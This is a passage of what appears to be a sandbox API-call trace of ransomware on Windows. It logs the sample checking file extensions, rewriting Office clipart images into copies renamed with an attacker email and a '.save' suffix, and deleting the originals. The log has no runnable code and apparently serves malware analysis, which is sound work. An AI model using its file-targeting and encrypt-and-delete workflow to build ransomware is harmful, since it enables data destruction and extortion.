Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.315] lstrlenW (lpString=".zip") returned 4 [0208.315] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.315] lstrlenW (lpString=".rar") returned 4 [0208.315] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.315] lstrlenW (lpString=".bz2") returned 4 [0208.315] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.315] lstrlenW (lpString=".7z") returned 3 [0208.315] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.315] lstrlenW (lpString=".dbf") returned 4 [0208.315] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.315] lstrlenW (lpString=".1cd") returned 4 [0208.315] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.315] lstrlenW (lpString=".jpg") returned 4 [0208.315] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.315] lstrlenW (lpString=".doc") returned 4 [0208.315] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.315] lstrlenW (lpString=".docx") returned 5 [0208.315] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0208.316] lstrlenW (lpString=".pdf") returned 4 [0208.316] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.316] lstrlenW (lpString=".xls") returned 4 [0208.316] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.316] lstrlenW (lpString=".xlsx") returned 5 [0208.316] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0208.316] lstrlenW (lpString=".ppt") returned 4 [0208.316] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.316] lstrlenW (lpString=".zip") returned 4 [0208.316] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.316] lstrlenW (lpString=".rar") returned 4 [0208.316] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.316] lstrlenW (lpString=".bz2") returned 4 [0208.316] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.316] lstrlenW (lpString=".7z") returned 3 [0208.316] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.316] lstrlenW (lpString=".dbf") returned 4 [0208.316] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.316] lstrlenW (lpString=".1cd") returned 4 [0208.316] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.316] lstrlenW (lpString=".jpg") returned 4 [0208.316] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.316] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0208.317] lstrlenW (lpString="J0099190.JPG") returned 12 [0208.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.317] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=43892) returned 1 [0208.317] CloseHandle (hObject=0x374) returned 1 [0208.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0208.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.317] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.317] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.318] GetLastError () returned 0x0 [0208.318] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0xab74, lpOverlapped=0x0) returned 1 [0208.622] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xab80, lpOverlapped=0x0) returned 1 [0208.625] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.625] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.625] SetEndOfFile (hFile=0x378) returned 1 [0208.625] CloseHandle (hObject=0x378) returned 1 [0208.625] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.625] SetEndOfFile (hFile=0x374) returned 1 [0208.627] CloseHandle (hObject=0x374) returned 1 [0208.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0208.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.628] lstrlenW (lpString=".doc") returned 4 [0208.628] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.628] lstrlenW (lpString=".docx") returned 5 [0208.628] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0208.628] lstrlenW (lpString=".pdf") returned 4 [0208.628] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.628] lstrlenW (lpString=".xls") returned 4 [0208.628] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.628] lstrlenW (lpString=".xlsx") returned 5 [0208.628] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0208.629] lstrlenW (lpString=".ppt") returned 4 [0208.629] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.629] lstrlenW (lpString=".zip") returned 4 [0208.629] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.629] lstrlenW (lpString=".rar") returned 4 [0208.629] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.629] lstrlenW (lpString=".bz2") returned 4 [0208.629] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.629] lstrlenW (lpString=".7z") returned 3 [0208.629] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.629] lstrlenW (lpString=".dbf") returned 4 [0208.629] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.629] lstrlenW (lpString=".1cd") returned 4 [0208.629] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.629] lstrlenW (lpString=".jpg") returned 4 [0208.629] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.629] lstrlenW (lpString=".doc") returned 4 [0208.629] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.629] lstrlenW (lpString=".docx") returned 5 [0208.630] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0208.630] lstrlenW (lpString=".pdf") returned 4 [0208.630] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.630] lstrlenW (lpString=".xls") returned 4 [0208.630] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.630] lstrlenW (lpString=".xlsx") returned 5 [0208.630] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0208.630] lstrlenW (lpString=".ppt") returned 4 [0208.630] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.630] lstrlenW (lpString=".zip") returned 4 [0208.630] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.630] lstrlenW (lpString=".rar") returned 4 [0208.630] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.630] lstrlenW (lpString=".bz2") returned 4 [0208.630] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.630] lstrlenW (lpString=".7z") returned 3 [0208.630] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.630] lstrlenW (lpString=".dbf") returned 4 [0208.630] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.630] lstrlenW (lpString=".1cd") returned 4 [0208.630] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0208.630] lstrlenW (lpString=".jpg") returned 4 [0208.630] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.631] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.631] lstrlenW (lpString="J0099201.GIF") returned 12 [0208.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.631] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=51401) returned 1 [0208.631] CloseHandle (hObject=0x374) returned 1 [0208.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0208.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.632] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.632] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.633] GetLastError () returned 0x0 [0208.633] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0208.635] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0208.637] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.637] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.638] SetEndOfFile (hFile=0x378) returned 1 [0208.638] CloseHandle (hObject=0x378) returned 1 [0208.638] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.638] SetEndOfFile (hFile=0x374) returned 1 [0208.639] CloseHandle (hObject=0x374) returned 1 [0208.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0208.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.640] lstrlenW (lpString=".doc") returned 4 [0208.640] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.640] lstrlenW (lpString=".docx") returned 5 [0208.640] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0208.640] lstrlenW (lpString=".pdf") returned 4 [0208.640] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.640] lstrlenW (lpString=".xls") returned 4 [0208.640] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.640] lstrlenW (lpString=".xlsx") returned 5 [0208.640] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0208.640] lstrlenW (lpString=".ppt") returned 4 [0208.640] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.640] lstrlenW (lpString=".zip") returned 4 [0208.640] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.641] lstrlenW (lpString=".rar") returned 4 [0208.641] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.641] lstrlenW (lpString=".bz2") returned 4 [0208.641] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.641] lstrlenW (lpString=".7z") returned 3 [0208.641] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.641] lstrlenW (lpString=".dbf") returned 4 [0208.641] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.641] lstrlenW (lpString=".1cd") returned 4 [0208.641] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.641] lstrlenW (lpString=".jpg") returned 4 [0208.641] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.641] lstrlenW (lpString=".doc") returned 4 [0208.641] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.641] lstrlenW (lpString=".docx") returned 5 [0208.641] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0208.641] lstrlenW (lpString=".pdf") returned 4 [0208.641] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.641] lstrlenW (lpString=".xls") returned 4 [0208.641] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.641] lstrlenW (lpString=".xlsx") returned 5 [0208.641] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0208.641] lstrlenW (lpString=".ppt") returned 4 [0208.642] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.642] lstrlenW (lpString=".zip") returned 4 [0208.642] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.642] lstrlenW (lpString=".rar") returned 4 [0208.642] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.642] lstrlenW (lpString=".bz2") returned 4 [0208.642] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.642] lstrlenW (lpString=".7z") returned 3 [0208.642] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.642] lstrlenW (lpString=".dbf") returned 4 [0208.642] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.642] lstrlenW (lpString=".1cd") returned 4 [0208.642] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0208.642] lstrlenW (lpString=".jpg") returned 4 [0208.642] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.643] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.643] lstrlenW (lpString="J0099202.GIF") returned 12 [0208.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.643] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=4967) returned 1 [0208.643] CloseHandle (hObject=0x374) returned 1 [0208.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0208.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.644] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.644] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.654] GetLastError () returned 0x0 [0208.654] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x1367, lpOverlapped=0x0) returned 1 [0208.970] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x1370, lpOverlapped=0x0) returned 1 [0208.971] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.971] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.971] SetEndOfFile (hFile=0x378) returned 1 [0208.972] CloseHandle (hObject=0x378) returned 1 [0208.972] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.972] SetEndOfFile (hFile=0x374) returned 1 [0208.973] CloseHandle (hObject=0x374) returned 1 [0208.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0208.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.974] lstrlenW (lpString=".doc") returned 4 [0208.974] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.974] lstrlenW (lpString=".docx") returned 5 [0208.974] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0208.974] lstrlenW (lpString=".pdf") returned 4 [0208.974] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.974] lstrlenW (lpString=".xls") returned 4 [0208.975] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.975] lstrlenW (lpString=".xlsx") returned 5 [0208.975] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0208.975] lstrlenW (lpString=".ppt") returned 4 [0208.975] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.975] lstrlenW (lpString=".zip") returned 4 [0208.975] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.975] lstrlenW (lpString=".rar") returned 4 [0208.975] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.975] lstrlenW (lpString=".bz2") returned 4 [0208.975] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.975] lstrlenW (lpString=".7z") returned 3 [0208.975] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0208.975] lstrlenW (lpString=".dbf") returned 4 [0208.975] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.975] lstrlenW (lpString="C:\\Program 